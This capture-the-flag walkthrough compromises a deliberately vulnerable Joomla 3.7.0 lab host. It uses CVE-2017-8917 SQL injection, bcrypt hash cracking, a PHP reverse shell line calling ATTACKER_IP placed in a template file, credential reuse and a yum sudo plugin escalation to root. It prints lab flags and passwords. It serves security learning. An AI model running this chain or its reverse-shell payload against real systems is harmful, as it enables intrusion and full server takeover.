Port Enumeration
A few different Nmap scans for tactical-approach recon. Starting with service and script enumeration:
nmap -sC -sV -Pn --script=http-enum 10.144.132.32
MariaDB version flagged early — DB language and version matter. Initial inventory:
- Port 22 — SSH + OpenSSH 7.4
- Port 80 — HTTP
- Port 3306 — MySQL + MariaDB 10.3.23 or earlier
The more detailed vuln/CVE-focused scan surfaced something intriguing, especially given that Spiderman imagery (Sony Pictures) scattered across the target site:
nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.145.146.247 -oN daily_bugle_nmap_result.txt
The output is large. Here’s what caught my eye and inadvertently handed over the first flag:
Vulnerability is clear. And at both the top and bottom of this output, I have vested interests.
The http-csrf findings also mapped out quite a few subdomains waiting to be crossed, sited, requested, and forged:
The bank robber is Spiderman. /index.php/2-uncategorised/1-spider-man-robs leaked directly in the first Nmap output.
Identifying the Joomla Version
Armed with initial recon, digging deeper with a targeted scan on the known open ports:
nmap -sCV -p22,80,3306 -T4 10.144.132.32
Nmap kept pushing back, so a different angle:
whatweb http://10.146.132.82
Beautiful. Updated picture:
- Port 22: SSH + OpenSSH 7.4 (protocol 2.0)
- Port 80: HTTP + Apache/2.4.6 (CentOS) PHP/5.6.40
- Port 3306: MySQL + MariaDB 10.3.23 or earlier (flagged “unauthorized” — we’ll see about that)
- JQuery + Joomla
What we already know about attack vectors and directory structure:
/index.php/2-uncategorised/1-spider-man-robsleaked in first Nmap scan- CSRF exists on
/index.php - Possible credential-stuffing opportunity via MariaDB
- PHP 5.6.40 is a vulnerability goldmine
- Joomla CMS is ready for action
joomscan -u http://10.146.132.82
Attack path final form achieved:
- Joomla 3.7.0 — exploitable via SQLi CVE-2017-8917
- Admin panel lives at
/administrator/
Exploit Research
searchsploit joomla 3.7.0
A hit. Sometimes less is more.
searchsploit -x php/webapps/42033.txt
The exploit details a sqlmap-based attack; the lab points toward Python. The dude abides.
searchsploit -m php/webapps/42033.txt
Looking for a Python version:
searchsploit joomla 3.7 | grep -i py
Nothing local. Research turns up a known community script:
curl -s https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py -o joomblah.py
SQLi Credential Dump via joomblah.py
python3 joomblah.py http://10.146.132.82
Results incoming, but a Python 2 vs. Python 3 compatibility bug gets in the way:
Fix and rerun:
sed -i 's/result += value/result += value.decode("utf-8")/' joomblah.py
python3 joomblah.py http://10.146.132.82
From now until root, call me Jonah. Sorry, Jonah. You just got pwned.
- Jonah’s hash:
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm - Hash type:
bcrypt— identifiable by the$2y$prefix
Hash Cracking
echo '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm' > jonah.hash
john jonah.hash --wordlist=/usr/share/wordlists/rockyou.txt
John delivers the credentials needed to access /administrator/:
- Username:
jonah - Password:
spiderman123
Admin Panel Access
Hello, Joomla login page. Don’t mind me. I’m only here for a moment, then I’ll be out of your hair.
We are in. Thanks, Jonah and John.
What we’re about to exploit is not exactly a vulnerability, but abuse of an intended Joomla admin feature: the template editor. It lets administrators edit raw PHP files that are then executed by the web server. I think you can see where that’s headed.
Head to Templates in the left panel of the dashboard:
Direct URL: http://TARGET_IP/administrator/index.php?option=com_templates
Click Templates again in the left panel, then click into Prostar — the active default for all pages:
Direct URL: http://TARGET_IP/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ==
Inside Prostar, a file list with a sickly Victorian index.php just begging for a reverse shell to make life whole again:
Reverse Shell via Template Editor
First, set up a netcat listener in a new terminal:
nc -lvnp 4444
Open index.php in the Joomla template editor and place this code above everything else (with your attacker IP swapped in):
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>
This feels oddly reminiscent of editing MySpace source code. But I digress.
Click “Save” (green button, upper left). Then trigger the shell by visiting TARGET_IP directly in-browser.
Shell caught.
whoami
pwd
We are Apache. Later days, Jonah.
Database Credentials from Configuration File
Search Joomla’s config file — a treasure trove of end-user vulnerabilities:
cat /var/www/html/configuration.php
Big shout-out to Joomla for keeping it easy and breezy:
- DB user:
root - DB password:
nv5uz9r3ZEDzVjNu - DB name:
joomla
Lateral Movement: su jjameson
Still in the shell:
su jjameson
Non-interactive shell throwing a tantrum over handling su. Upgrade it first:
python -c 'import pty; pty.spawn("/bin/bash")'
Password reuse confirmed: nv5uz9r3ZEDzVjNu works for jjameson as well. I am not the mid-level almighty jameson!
cat ~/user.txt
User flag: 27a260fe3cba712cfdedb1c86d80442e
Privilege Escalation via yum
sudo -l
yum with no password. Delicious. Thanks to GTFOBins, with some echo modifications for this non-interactive shell:
TF=$(mktemp -d)
echo -e "[main]\nplugins=1\npluginpath=$TF\npluginconfpath=$TF" > $TF/x
echo -e "[main]\nenabled=1" > $TF/y.conf
echo -e "import os\nimport yum\nfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE\nrequires_api_version='2.1'\ndef init_hook(conduit):\n os.execl('/bin/sh','/bin/sh')" > $TF/y.py
sudo yum -c $TF/x --enableplugin=y
WOOOO!
Confirmed WOOOO!!!
cat /root/root.txt
Root flag: eec3d53292b1821868266858d7fa6f79
Full Attack Chain
Nmap + WhatWeb → Joomla 3.7.0 identified, spider-man URL path (bank robber = Spiderman)
→ JoomScan → admin panel at /administrator/, confirmed Joomla 3.7.0
→ CVE-2017-8917 → joomblah.py (Python3 fix applied) → Jonah’s bcrypt hash
→ John the Ripper → spiderman123
→ Admin panel login → template editor → PHP reverse shell in index.php
→ Shell as apache → configuration.php → DB credentials (root / nv5uz9r3ZEDzVjNu)
→ Password reuse → su jjameson
→ sudo -l → yum NOPASSWD → GTFOBins yum plugin exploit → root